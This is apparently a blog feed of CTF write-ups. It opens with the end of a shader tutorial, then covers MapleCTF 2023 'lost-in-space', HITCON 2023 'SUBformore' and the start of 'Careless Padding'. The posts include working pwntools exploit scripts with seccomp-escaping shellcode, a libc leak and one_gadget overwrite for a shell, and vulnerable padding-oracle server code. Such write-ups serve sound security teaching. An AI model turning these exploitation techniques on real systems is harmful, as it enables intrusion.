Now with the power of math and shader magic, we draw a circle! How exciting right? We’ll start getting into more complex parts of shaders starting with the next part of this series. I’m hoping that this tutorial helps kick start the motivation in shader, and overcome the hard part of getting into this rather foreign form of programming.

Next part: Coming soon…

MapleCTF 2023 - lost-in-space

2023-10-03T00:00:00+00:00

This year I participated with ${CyStick} in MapleCTF. This post is the writeup to one of the challenges - lost-in-space. This challenge resembles the segfault labyrinth challenge from Google CTF 2022 but with more restrictions.

Challenge Description

Can you find your way to safety?

Author: xal

`nc lost-in-space.ctf.maplebacon.org 1337`

Solves: 11 solves

Inspection

We are given the challenge binary, which is quite small (only 4199 bytes). Something weird happens when I try to dump the instructions using objdump.

$ objdump -D lost-in-space

lost-in-space:     file format elf64-x86-64

$

After looking at the disassembly in binary ninja cloud and run the binary using gdb, we can roughly map out what the binary is doing. (PS. I’m not sure if linking to the session directly works for other people to view the same session.)

Some initialization stuff, setup random (start of main())
Set up the mmap chunks (alloc_maps())
Read shellcode from the user and place it in an executable chunk (read call in main())
Seccomp the process so only the marked chunks can call syscall (seccomp())
Execute shellcode (jump_to_shellcode_with_umap())

One important structure used is the map structure, which looks like the following

struct map
{
	int32_t can_syscall;
	int32_t link_count;
	struct map* links[];
};

Each chunk allocated using mmap will contain this structure at the starting address. The can_syscall field denotes if the chunk is whitelisted by the seccomp rule, the link_count and links store the connections to the other maps.

In the alloc_maps function, the chunks are set up with the following steps:

Allocate a lot of chunks:

The first do-while loop will allocate 1000 chunks of size 0x1000
Link the chunks together randomly:

The second do-while loop links each chunk with the next chunk, while the third do-while loop adds additional links to the chunks to form a dense network. In total, 3500 links were created. This ensures that all the chunks are linked together, so the graph is always connected.
Shuffle the links in a chunk:

The shuffle links function will randomly shuffle the connections between the chunks stored in the map structure, so we can’t follow the allocation process to retrieve the target chunk easily.
Mprotect all but two chunks, and mark the executable chunks

In the last do-while loop, the loop skips chunk 1 and chunk 0xc8, and marks all other chunks to be read-only. This effectively leaves only two chunks executable.

We can also dump the seccomp rule for some details

$ seccomp-tools dump ./lost-in-space
 line  CODE  JT   JF      K
=================================
0x20 0x00 0x00 0x00000008  A = instruction_pointer
0x35 0x00 0x02 0x764cb000  if (A < 0x764cb000) goto 0004
0x25 0x01 0x00 0x764cc000  if (A > 0x764cc000) goto 0004
0x06 0x00 0x00 0x7fff0000  return ALLOW
0x20 0x00 0x00 0x00000004  A = arch
0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0009
0x20 0x00 0x00 0x00000000  A = sys_number
0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0009
0x06 0x00 0x00 0x7fff0000  return ALLOW
0x06 0x00 0x00 0x00050001  return ERRNO(1)
 $ 

When I dump the seccomp rule, I notice that the location on line 2 and 3 changes every time. This aligns with our guess that we are only allowed to execute syscall in that marked chunk, which changes each execution. The seccomp rules are quite simple. Basically, all syscalls are blocked except munmap if it was called outside of the allowed chunk.

Lastly, the shellcode is called using the following snippet.

The binary wipes out all registers before our shellcode is called, and both stack and binary are unmapped before our shellcode, so we can’t reuse values on stack or binary.

DFS

In order to traverse the graph, I opt to use depth-first search (DFS). However, since our shellcode/program is effectively limited to a single 0x1000 sized chunk, we need to take care of the memory space used. I’m too lazy to implement the whole search in assembly so I wrote the code in c and let gcc compile it for me. The shellcode is compiled from the following c source using godbolt, with gcc 10.5 and argument -Os to reduce shellcode size.

#include 
#include 
#include 
#include 

struct map{
    int can_syscall;
    int count;
    struct map* points[];
};

typedef struct map map;
short vis[0x200];
int vis_count = 0;
short to_index(map* a){
    return (short)((unsigned long)a >> 31);
}

map* dfs(map* a, int depth){
    if(a->can_syscall) return a;
    if(depth > 32) return NULL;
    for(int i=0;i < a->count;i++){
        map* next_map = a->points[i];
        int test = 0;
        for(int j=0;j<vis_count;j++){
            test |= (vis[j] == to_index(next_map));
        }
        if(test == 1) continue;
        vis[vis_count] = to_index(next_map);
        vis_count+=1;
        map* res = dfs(next_map, depth+1);
        if(res != NULL) return res;
    }
    return NULL;
}
int main(){
    map* a;
    dfs(a, 0);
}

The output of the compiler can mostly be used directly, but the vis array appears to require relocation, so I instead use a spare register to track its location. Also, the dfs depth is needed so the stack doesn’t underflow outside the limited memory space.

Solve

In the shellcode I then set up the stack to start from 0x800 and grow downward, and the vis array to start from 0xa00 and grow upward. To save space for the visited chunks, I truncated the address of each chunk to only the top 16 changing bits, so we can store more value within the allotted space.

mov rax, rdx ; rdx contains the address to the middle of the chunk
mov rsp, rdx ; set stack
mov rbp, rdx ; set stack
mov rdi, rdx 
sub rdi, 0x800 ; get map struct of current chunk
mov r11, rdx
add r11, 0x200 ; use r11 as vis array
mov r10, 0     ; use r10 as vis counter
xor rsi, rsi   ; argument, depth = 0
call dfs

When the call to dfs returns, rax should point to the executable chunk, I then write the second stage shellcode to that location.

add rax, 0x800 ; executable chunk, middle
mov rbp, rax   ; new stack
mov rsp, rax

mov rbx, 0xdeadbeef ; stage2 shellcode
mov QWORD PTR [rbp], rbx

mov rdx, 0  ; pre-clear registers
mov rdi, 0
mov rsi, 0
jmp rax

Originally I tried to spawn a shell, but then realized that the seccomp rules will be inherited by the spawned process, so syscalls will fail as they can’t pass the seccomp filter. In the end, a simple orw shellcode is sufficient in printing out the flag. In the solve script, I used shellcraft for that. I also include the shellcode for listing files in a directory, since the flag file name isn’t given in the challenge description. Presumably, if the challenge creator wants to make this challenge more difficult, he can make the file name non-guessable, and require the attacker to list out directory contents to print the flag.

maple{its_a_small_world_when_log_N_minus_gamma_over_log_k_small}

Probably intended solution - random walk

After the solve and seeing the flag, it’s clear that a simpler approach can be taken to solve the challenge. A simple randomized algorithm can be applied to solve this challenge. Since the edges should distributed quite evenly, the graph should be highly connected. Therefore, a random walk on the graph can easily reach each node. If we repeatedly choose a random node to visit from the current node’s connection list, we form a random walk. If we repeatedly go to the next node and with a high enough walk count, we will reach the desired node since the graph is connected. I don’t know how to calculate the exact expected walk count, but it should be somewhere around O(n^3). For more information, one can maybe search up st-connectivity and random walk.

Appendix A - exp.py

#!/usr/bin/python3

from pwn import *
# from ctypes import CDLL
import time


context.binary = bin_name = "./lost-in-space"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(bin_name)


def connect():
    if args.REMOTE:
        nc_str = "nc lost-in-space.ctf.maplebacon.org 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        p = process(bin_name)
        if args.GDB:
            gdb_script = """
            """
            gdb.attach(p, gdb_script)

    return p


def main():
# init state: rdx = rip, current location
# everything else is cleared
# r10 -> vis counter
# r11 -> vis array

    f_name = b"/ctf/".ljust(8, b"\x00")
    # list /ctf/
    stage2 = asm(f"""
  /* push "/ctf/" */
  mov rax, {u64(f_name)}
  push rax
  /* call open("rsp", 0, 0) */
  push 2 /* (SYS_open) */
  pop rax
  mov rdi, rsp
  xor esi, esi /* 0 */
  cdq /* rdx=0 */
  syscall
  /* call getdents("rax", "rsp-0x400", 0x400) */
  mov rdi, rax
  push 0x4e /* (SYS_getdents) */
  pop rax
  mov rsi, rsp
  sub rsi, 0x400
  xor edx, edx
  mov dh, 0x400 >> 8
  syscall
  /* call write(1, "rsp-0x400", "rax") */
  push 1
  pop rdi
  mov rsi, rsp
  sub rsi, 0x400
  mov rdx, rax
  push 1 /* (SYS_write) */
  pop rax
  syscall
    """).ljust(80, b"\x90")

    # leaked file name from ls above
    stage2 = asm(shellcraft.amd64.linux.cat("/ctf/flag.txt", fd=1)).ljust(128, b"\x90")
    print(stage2.hex())

    assembly = f"""

    mov rax, rdx

make_stack:

    mov rsp, rdx
    mov rbp, rdx
    mov rdi, rdx
    sub rdi, 0x800
    mov r11, rdx
    add r11, 0x200
    mov r10, 0
    xor rsi, rsi
    call dfs
    add rax, 0x800
    mov rbp, rax
    mov rsp, rax
    """

    # setup stage2
    for i in range(0, len(stage2), 8):
        assembly+=f"""
        mov rbx, {u64(stage2[i:i+8])}
        mov QWORD PTR [rbp+{i}], rbx
        """

    # jump to stage 2
    assembly += """
    mov rdx, 0
    mov rdi, 0
    mov rsi, 0
    jmp rax
    """

# change output "vis" from godbolt to use r11 for tracking
# so pwntools and assemble correctly without relocation error

    assembly += """
to_index:
        mov     rax, rdi
        shr     rax, 31
        ret
dfs:
        cmp     DWORD PTR [rdi], 0
        mov     rax, rdi
        jne     .L15
        push    r12
        lea     r12d, [rsi+1]
        push    rbp
        xor     ebp, ebp
        push    rbx
        mov     rbx, rdi
        cmp     esi, 10
        jle     .L4
.L10:
        xor     eax, eax
        jmp     .L2
.L19:
        dec     ecx
        jne     .L7
.L8:
        inc     rbp
.L4:
        cmp     DWORD PTR [rbx+4], ebp
        jle     .L10
        mov     rdi, QWORD PTR [rbx+8+rbp*8]
        mov     eax, DWORD PTR vis_count[rip]
        xor     ecx, ecx
        xor     edx, edx
        mov     rsi, rdi
        shr     rsi, 31
        mov     r8d, esi
.L5:
        cmp     eax, edx
        jle     .L19
        xor     r9d, r9d

        push    rax
        mov     rax, r11
        add     rax, rdx
        add     rax, rdx
        cmp     WORD PTR [rax], r8w
        pop     rax

        sete    r9b
        inc     rdx
        or      ecx, r9d
        jmp     .L5
.L7:
        movsx   rdx, eax
        inc     eax

        push    rax
        mov     rax, r11
        add     rax, rdx
        add     rax, rdx
        mov     WORD PTR [rax], si
        pop     rax

        mov     esi, r12d
        mov     DWORD PTR vis_count[rip], eax
        call    dfs
        test    rax, rax
        je      .L8
.L2:
        pop     rbx
        pop     rbp
        pop     r12
        ret
.L15:
        ret
vis_count:
        .zero 4

    """

    shellcode = asm(assembly)
    print(len(shellcode))

    p = connect()
    p.sendline(shellcode)


    p.interactive()


if __name__ == "__main__":
    main()

#maple{its_a_small_world_when_log_N_minus_gamma_over_log_k_small}

HITCON CTF 2023 - LessEQualmore / SUBformore

2023-09-10T00:00:00+00:00

Challenge Description

This is a two challenge series I created for HITCON CTF 2023. It’s a subleq interpreter and program that need to be reversed and exploited.

Challenge detail

LessEQualmore(REV):
Sometime, less (instruction) equal more (instruction) ...

SUBformore(PWN):
Apparently, less instruction doesn't mean more security. Who would have guessed?

nc chal-lessequalmore.chal.hitconctf.com 11111

author: bronson113
solves: 33(REV)/ 13(PWN)

Recon

Firstly, we are given two files, the binary file that runs the vm, and a txt file containing the bytecode. The binary file is not stripped, so it’s pretty easy to identify the instruction flow: It takes three value in the memory, subtracts the first from the second, and jump to the thrid value if the result is less than zero. Otherwise, the next three bytes are taken as input. This is a simple subleq interpreter, and there are a lot of information related to this. Notedly, this is a one instruction set computer (OISC) system.

So the program bytecode is basically subleq instructions, so at this point, one can use any interpreter they want, just need to supply the chal.txt file as the program and it should worked the same.

Digging a bit into the byte code file, you might notice a lot of value near $2^{24}$, this can be an indicator to how the bytecode is generate - through elvm. Notice that in the readme file, subleq is indeed listed as one of the backends supported.

Solution - Reversing

For the reversing part of this challenge, the intended solution is to lift the subleq code into elvm ir (or any other ir you desire), extract the matrixs, find the inverse, and decode the value from the matrix inverse.

I’ll based this writeup on the fact that you know elvm, though some other recon step can lead you to the same conclusion (albeit in much longer time).

Disassembling

However, Disassembling the bytecode itself is already quite difficult. Due to the way that the backend generates the subleq code, some constants used in the program are mixed with the instructions, so it’s not a simple decode every three bytes sequence, but you need to follow some unconditional jumps to get there. A simple heuristic is that you can notice that if an instruction starts with 0 0 x, it’s most likely jumping to x directly if x is somewhere after the current ip. Applying this, you can get a rough subleq instruction grouping.

Lifting the instructions

With the subleq instructions, pattern matching is possible using either python 3.10’s new matching syntax, or other languages with matching capabilities like rust. You can implement each cases shown in the backend code to get back the elvm ir.

At this point it might be clear that some memory locations are often referenced, so they are likely used as a constant or as a register. This can be verified with the elvm backend source and elvm structure.

However, we are not done yet, if you look at the ir, there are still a lot of repeating structures. As some people mentioned the push and pop macro are extremely long, as those are macro on the ir level. At this point, you should get something like chal.eir.

Matrix multiplication

The last part is to identify that the program is doing matrix multiplication on the input, but the matrix is dispersed across the instructions. thankfully each value in the matrix is at most plus or minus 3, so having 6 different match cases should be doable. Notice that the location where the matrix is zero is just obmitted, so some processing is also needed to fill in that blank.

Anyway, after those steps, two matrixes can be extracted, and multiplying the reference vector with the inverse matrix give us the flag.

Unintended solution

One other solution to this challenge (and probably how most people solved this) is to extract the transformation matrix by observing the output values. You can change one character by one to see how the result changes, and get the matrix that’s equivilant to the two matrix in the program multiplied together.

Solution - Pwn

VM structure

First we need to understand how the subleq vm works. If you reference the elvm backend, you can notice that it’s structed as follow:

Init (3)	Register (6)	Constants (7)
Memory/Stack (1024)
Jump Table (30)
Code Segment (…)

Our input are read in a readline like fasion, and put at the start of the memory section. Naturally, you cover overflow the program and write into the jump table, thereby controlling the program counter within the VM. If you put the shellcode in your input, you can jump to your own input and execute arbitrary subleq code.

Leaking Addresses and RCE

Since we know that the program memory is malloc with a large chunk, the program will allocate the chunk using mmap, putting it at a fix offset to libc. The vm have an issue that it does check if the memory is out of bound before reading and writing, therefore we can read arbitrary value from the libc.

One path is to leaverage the environment pointer in libc. We can calculate the offset of environ pointer to our chunk, and read the value into a controlled memory location. However, to utilize the value, we need a method to deference the pointer. Since each subleq value is 8 byte, we need to divide the value we get by 8 before using that as the index to the stack. It actually took me longer to divide the value than all the other steps combined. The other path is to overwrite the stdout structure to leak value, and use subleq shellcode to read value back.

After you leak the value, you just overwrite the return pointer and do ROP, and that’s your shell!

Solve script

#!/usr/bin/python3
from pwn import *

elf = ELF("./lessequalmore_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

#p = process(["./lessequalmore_patched", "../dist/chal.txt"])
p = remote("34.81.247.217", 11111)


def send_int(n):
    if n >= 0:
        p.sendline(f"%{n}")
    else:
        n+=(1<<64)
        p.sendline(f"%{n}")

def send_ints(ns):
    for i in ns:
        send_int(i)

def send_str(s):
    for i in s:
        send_int(ord(i))

flag = "hitcon{r3vErs1ng_0n3_1ns7ruction_vm_1s_Ann0ying_c9adf98b67af517}"
# 64+1 -> input
# 16+1 -> buf
# 64 -> target
# 20+1 -> prompt
# 12+1 -> prompt2
# 27+1 -> win
# 18+1 -> lose
padding = sum([64+1, 16+1, 64, 20+1, 12+1, 27+1, 18+1])
mem = 1024
print(padding)
#send_str("\x00"*(64+1+16+1+64+20+1))
#send_str("a"*(12+1+27+1+18+1))

cur_ip = 16
def subleq(a, b, target=None):
    global cur_ip
    cur_ip += 3
    if target:
        return [a, b, target]
    else:
        return [a, b, cur_ip]

def to_data(idx):
    return 19+idx

# data:
# stack offset
# r shift amount
# overflow base
# 1
# one_gadget
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8][2]

data = [1, libc.symbols['malloc'], 0x148 - (0x84000 - 0x10), 1<<56, 52, -1*one_gadget]
print(data)
shellcode = subleq(0, 0, cur_ip + 3 + len(data))
cur_ip+=len(data)
# data
shellcode+= data
shellcode+= subleq(1, 1)
shellcode+= subleq(to_data(0), 1) # get -1
shellcode+= subleq(2, 2)
shellcode+= subleq(3, 3)
shellcode+= subleq(4, 4)
libc_malloc = libc.got['malloc'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk header
shellcode+= subleq(libc_malloc//8, 2)
shellcode+= subleq(2, 3)
shellcode+= subleq(to_data(1), 3) # libc base
libc_environ = libc.symbols['environ'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk header
shellcode+= subleq(2, 2)
shellcode+= subleq(libc_environ//8, 2)
shellcode+= subleq(2, 4)
shellcode+= subleq(3, 4) # subtract libc_base
shellcode+= subleq(to_data(2), 4) # subtract offset from libc_base & from environ
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 5)
shellcode+= subleq(4, 2)
shellcode+= subleq(2, 5)
shellcode+= subleq(7, 7) # counter
shellcode+= subleq(2, 2)
# divide by 8
#
div_label = cur_ip
shellcode+= subleq(2, 2)
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 2)
shellcode+= subleq(5, 2) # [3]->-2n
shellcode+= subleq(5, 5)
shellcode+= subleq(2, 5) # [5]->2n

shellcode+= subleq(6, 6)
shellcode+= subleq(2, 6) # [6]->2n
shellcode+= subleq(to_data(3), 6, cur_ip+12) #[if 1<<56 < [6]] continue
shellcode+= subleq(to_data(3), 5) # [5] -= 1<<56
shellcode+= subleq(1, 5)          # [5] += 1
shellcode+= subleq(0, 0)
shellcode+= subleq(0, 0)
shellcode+= subleq(0, 0)
shellcode+= subleq(1, 7) # counter += 1

shellcode+= subleq(8, 8)
shellcode+= subleq(2, 2)
shellcode+= subleq(7, 2)
shellcode+= subleq(2, 8) # [8] = counter
shellcode+= subleq(to_data(4), 8, div_label)
# now [5] points to return address
shellcode+= subleq(2, 2)
shellcode+= subleq(0, 0)
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 2)
shellcode+= subleq(2, cur_ip+6)
shellcode+= subleq(2, cur_ip+4)
shellcode+= subleq(0, 0)
shellcode+= subleq(to_data(5), 3)
shellcode+= subleq(3, 11)
shellcode+= subleq(2, cur_ip+4)
shellcode+= subleq(11, 0)
shellcode+= subleq(0, 0, -2)

send_ints(shellcode)

send_str("\x00" * (mem - len(shellcode)))

gdb_script = """
handle SIGSEGV stop nopass
c
set $rax=$rbx
b *op1
b *run_program+165
"""

#gdb.attach(p, gdb_script)

jmp_table = [1070,1134,1362,1558,1754,1950,2211,2456,2717,2962,3094,3110,3389,3521,3717,3720,3916,3919,4198,4333,4503,4906,5185,5325,5429,5754,25688,42696,43215,43715]
print(len(jmp_table))
jmp_table = [16] * len(jmp_table)
send_ints(jmp_table)
p.interactive()

How the challenge is built

ELVM

The challenge is mostly build on top of ELVM with a small modification to the subleq backed. The default configuration would generate $2^{24}$ 0s as the memory and that would be a huge file to reverse. I changed the backend a little bit so that the output is shorter and there are no comments. The diff is as follow.

diff --git a/target/subleq.c b/target/subleq.c
index a5c1341..ee1596d 100644
--- a/target/subleq.c
+++ b/target/subleq.c
@@ -13,6 +13,8 @@
 #define SUBLEQ_NEG_UINTMAX_CONST (15)
 #define SUBLEQ_REG(regnum) (regnum + 3)
 #define SUBLEQ_MEM(index) (index + 16)
+#define VM_MEMORY_LIMIT (1<<10)
+#define VM_SP_INIT (VM_MEMORY_LIMIT - 1)
 static const int32_t SUBLEQ_OPS_TABLE[7][3] = {
   {1, 0, 0}, // EQ, JEQ
   {0, 1, 1}, // NE, JNE
@@ -150,17 +152,19 @@ static void init_state_subleq(Data* data) {
   subleq.word_on = 0;

   // Data length always includes 7 registers and 6 constants
-  size_t data_length = 13 + (1 << 24) - 1 + subleq.pc_cnt;
+  size_t data_length = 13 + VM_MEMORY_LIMIT - 1 + subleq.pc_cnt;

   subleq_emit_instr(0, 0, data_length + 4);
   // Emit registers
-  emit_line("0 0 0 0 0 0 0");
+  // Init SP to -1 in the VM memory so we can adjust memory size
+  // instead of relying on underflow
+  emit_line("0 0 0 0 0 %d 0", VM_SP_INIT);
   // Emit constants
   emit_line("-1 1 %d %d %d -%d",
               SUBLEQ_MEM(0), subleq.jump_table_start,
               UINT_MAX + 1, UINT_MAX + 1);

-  for (int mp = 0; mp < (1 << 24); mp++) {
+  for (int mp = 0; mp < VM_MEMORY_LIMIT; mp++) {

     if (mp != 0 && mp % SUBLEQ_MAX_WORDS_LINE == 0){
       emit_line("");
@@ -171,10 +175,10 @@ static void init_state_subleq(Data* data) {
       data = data->next;

       if (!data){
-        emit_line("\n#{loc_skip:%d}", (1 << 24) - mp - 1);
+        //emit_line("\n#{loc_skip:%d}", VM_MEMORY_LIMIT - mp - 1);
       }

-    } else if (((1 << 24) - mp) % SUBLEQ_MAX_WORDS_LINE != 0){
+    } else if ((VM_MEMORY_LIMIT - mp) % SUBLEQ_MAX_WORDS_LINE != 0){
       emit_str("0 ");
     } else {
       emit_str("\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0");
@@ -198,7 +202,7 @@ static void subleq_emit_inst(Inst* inst) {
   switch (inst->op) {
   case MOV:
     {
-      emit_line("# Doing move");
+      //emit_line("# Doing move");
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);
       subleq_emit_zero(SUBLEQ_REG(inst->dst.reg));
@@ -207,18 +211,18 @@ static void subleq_emit_inst(Inst* inst) {
     break;

   case ADD:
-    {
-      emit_line("# Doing add");
+       {
+      //emit_line("# Doing add");
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);
-      subleq_emit_add(src_loc, SUBLEQ_REG(inst->dst.reg));
-      subleq_emit_wrap_umaxint(SUBLEQ_REG(inst->dst.reg));
-    }
-    break;
+                 subleq_emit_add(src_loc, SUBLEQ_REG(inst->dst.reg));
+                 subleq_emit_wrap_umaxint(SUBLEQ_REG(inst->dst.reg));
+         }
+         break;

   case SUB:
     {
-      emit_line("# Doing sub");
+      //emit_line("# Doing sub");
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);
       subleq_emit_sub(src_loc, SUBLEQ_REG(inst->dst.reg));
@@ -228,11 +232,11 @@ static void subleq_emit_inst(Inst* inst) {

   case LOAD:
     if (inst->src.type == IMM){
-      emit_line("# Doing load imm");
+      //emit_line("# Doing load imm");
       subleq_emit_zero(SUBLEQ_REG(inst->dst.reg));
       subleq_emit_add(SUBLEQ_MEM(inst->src.imm), SUBLEQ_REG(inst->dst.reg));
     } else if (inst->src.type == REG){
-      emit_line("# Doing load reg");
+      //emit_line("# Doing load reg");
       subleq_emit_add(SUBLEQ_REG(inst->src.reg), 1);
       subleq_emit_add(SUBLEQ_MEM_START_CONST, 1);
       subleq_emit_load_dblptr(1, SUBLEQ_REG(inst->dst.reg));
@@ -242,11 +246,11 @@ static void subleq_emit_inst(Inst* inst) {

   case STORE:
     if (inst->src.type == IMM){
-      emit_line("# Doing store imm");
+      //emit_line("# Doing store imm");
       subleq_emit_zero(SUBLEQ_MEM(inst->src.imm));
       subleq_emit_add(SUBLEQ_REG(inst->dst.reg), SUBLEQ_MEM(inst->src.imm));
     } else if (inst->src.type == REG){
-      emit_line("# Doing store reg dest: %s src: %s", reg_names[inst->src.reg], reg_names[inst->dst.reg]);
+      //emit_line("# Doing store reg dest: %s src: %s", reg_names[inst->src.reg], reg_names[inst->dst.reg]);
       subleq_emit_add(SUBLEQ_REG(inst->src.reg), 1);
       subleq_emit_add(SUBLEQ_MEM_START_CONST, 1);
       subleq_emit_store_dblptr(SUBLEQ_REG(inst->dst.reg), 1);
@@ -256,7 +260,7 @@ static void subleq_emit_inst(Inst* inst) {

   case PUTC:
     {
-      emit_line("# Putting char");
+      //emit_line("# Putting char");
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);
       subleq_emit_instr(src_loc, -1, subleq.word_on + 3);
@@ -264,7 +268,7 @@ static void subleq_emit_inst(Inst* inst) {
     break;

   case GETC:
-    emit_line("# Getting char");
+    //emit_line("# Getting char");
     subleq_emit_instr(-1, SUBLEQ_REG(inst->dst.reg), subleq.word_on + 3);
     subleq_emit_cmp(SUBLEQ_REG(inst->dst.reg), SUBLEQ_NEG_ONE_CONST, 6, 3, 3);
     subleq_emit_sub(SUBLEQ_ONE_CONST, SUBLEQ_REG(inst->dst.reg));
@@ -272,7 +276,7 @@ static void subleq_emit_inst(Inst* inst) {
     break;

   case EXIT:
-    // emit_line("# Exiting");
+    //emit_line("# Exiting");
     subleq_emit_instr(0, 0, -1);
     break;

@@ -286,7 +290,7 @@ static void subleq_emit_inst(Inst* inst) {
   case LE:
   case GE:
     {
-      emit_line("# Doing comparison");
+      //emit_line("# Doing comparison");
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);

@@ -312,7 +316,7 @@ static void subleq_emit_inst(Inst* inst) {
   case JLE:
   case JGE:
     {
-      emit_line("# Doing cond jump to pc %d", inst->jmp.type == REG ? -1 : inst->jmp.imm);
+      //emit_line("# Doing cond jump to pc %d", inst->jmp.type == REG ? -1 : inst->jmp.imm);
       int32_t src_loc = (inst->src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->src.reg) : subleq_emit_imm(inst->src.imm);
       int32_t jmp_loc = (inst->jmp.type == REG) ? (int32_t)SUBLEQ_REG(
@@ -336,7 +340,7 @@ static void subleq_emit_inst(Inst* inst) {

   case JMP:
     {
-      emit_line("# Doing jump");
+      //emit_line("# Doing jump");
       int32_t jmp_loc = (inst->jmp.type == REG) ? (int32_t)SUBLEQ_REG(
         inst->jmp.reg) : subleq_emit_imm(inst->jmp.imm);

@@ -387,7 +391,7 @@ void target_subleq(Module* module) {
   prev_pc = -1;
   for (Inst* inst = module->text; inst; inst = inst->next) {
     if (prev_pc != inst->pc) {
-      emit_line("\n# PC = %d", inst->pc);
+      //emit_line("\n# PC = %d", inst->pc);
     }
     prev_pc = inst->pc;
     emit_line("");

IR Generation

I first tried to use the C frontend that was provided by elvm, but then realized that it generated way too much code (Seems like it doesn’t perform dead code elimination in it’s pipeline), making the output file too large to reasonably reverse. Therefore, I end up writing a python script to generate the IR for me. I created some macros for defining labels, functions, and basic push/pop instructions as they aren’t defined in elvm IR. It’s pretty interesting for me to come up with the calling conventions and other stuff. The generator code can be found here

Potential Improvements

This is the section mostly to conclude what goes wrong and what this challenge can potentially be so I don’t make the same mistakes again (Though I probably will anyway lol). I hope this can also provide insight to other people when creating challenges.

Linear relationship

As mentioned in the unintended solution section, one way to solve the reserving part of the challenge is to observe the linear relationship between the input and output. This should be kept in mind when desiging a flag checker type program. Often there are some ways to observe the program’s input/output state and extract information related to the process. Adding some sort of SBOX in this case should be sufficient in preventing the unintended solution.

Exploring potential for the VM

I think I didn’t put enough time into exploring the VM structure. Mentioned by @theKidOfArcrania on discord, this challenge can totally leaverage the calling convention and require the player to perform something similar to a ROP within the VM as well, instead of having the ability to modify code itself, as some people used in their solution. Having a stack overflow that end up overwriting the register section and pointing the SP to a controlled area would have been a fun idea to explore, and add some complexity to the pwn aspect of this challenge.

Conclusion

I guess I’ve already speaked too much in this article. Anyway I hoped that everyone that attempted this challenge have fun, and learned something about reversing / pwning a single instruction vm :)

HITCON CTF 2023 - Careless Padding

2023-09-08T00:00:00+00:00

Challenge Description

This is a challenge I created for HITCON CTF 2023. As the name sugguests, this is a challenge related to padding oracle attack.

You might say: “Hey that’s boring, everyone know padding oracle already… What’s new?”

Well, what about a whole new padding methods? I hope this sparks your interest, and keep reading for my writeup and thought process for creating this challenge.

Challenge detail

How careless can you be as an assistant...

nc chal-careless-padding.chal.hitconctf.com 11111

author: bronson113
solves: 30

We are presented with the challenge code as follows

#!/usr/bin/python3
import random
import os
from secret import flag
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import json

N = 16

# 0 -> 0, 1~N -> 1, (N+1)~(2N) -> 2 ...
def count_blocks(length):
    block_count = (length-1) // N + 1
    return block_count

def find_repeat_tail(message):
    Y = message[-1]
    message_len = len(message)
    for i in range(len(message)-1, -1, -1):
        if message[i] != Y:
            X = message[i]
            message_len = i + 1
            break
    return message_len, X, Y

def my_padding(message):
    message_len = len(message)
    block_count = count_blocks(message_len)
    result_len =  block_count * N
    if message_len % N == 0:
        result_len += N
    X = message[-1]
    Y = message[(block_count-2)*N+(X%N)]
    if X==Y:
        Y = Y^1
    padded = message.ljust(result_len, bytes([Y]))
    return padded

def my_unpad(message):
    message_len, X, Y = find_repeat_tail(message)
    block_count = count_blocks(message_len)
    _Y = message[(block_count-2)*N+(X%N)]
    if (Y != _Y and Y != _Y^1):
        raise ValueError("Incorrect Padding")
    return message[:message_len]

def chal():
    k = os.urandom(16)
    m = json.dumps({'key':flag}).encode()
    print(m)

    iv = os.urandom(16)
    cipher = AES.new(k, AES.MODE_CBC, iv)

    padded = my_padding(m)
    enc = cipher.encrypt(padded)
    print(f"""
*********************************************************
You are put into the classical prison and trying to escape.
Thanksfully, someone forged a key for you, but seems like it's encrypted...
Fortunately they also leave you a copied (and apparently alive) prison door.
The replica pairs with this encrypted key. Wait, how are this suppose to help?
Anyway, here's your encrypted key: {(iv+enc).hex()}
*********************************************************
""")

    while True:
        enc = input("Try unlock:")
        enc = bytes.fromhex(enc)
        iv = enc[:16]
        cipher = AES.new(k, AES.MODE_CBC, iv)
        try:
            message = my_unpad(cipher.decrypt(enc[16:]))
            if message == m:
                print("Hey you unlock me! At least you know how to use the key")
            else:
                print("Bad key... do you even try?")
        except ValueError:
            print("Don't put that weirdo in me!")
        except Exception:
            print("What? Are you trying to unlock me with a lock pick?")

if __name__ == "__main__":
    chal()

This padding method is taken from this paper. The “New Padding Method 3” in particular. The paper claims that these padding methods will be resistant to padding oracle attacks, as the attackers have little probablility of creating a valid padding, and therefore little information can be gathered from the oracle. I first saw this paper when I’m working on a final project for one of my cryptography course, and notice that the method proposed are not exactly secure. After a little bit of fiddling, I realized that all the methods can be broken with relative ease. Among all three, the third padding method is definitely the easiest.

The challenge itself is simple. The flag is padding with this new method, then encrypted using AES CBC mode. The server then take user input in hex, decrypts it, unpad, and check the “key”. It’s clear that if an padding error occured, the server will respond differently. This is obviously an oracle. So the matter is how to leverage this knowledge to leak out the flag.

Understanding the padding

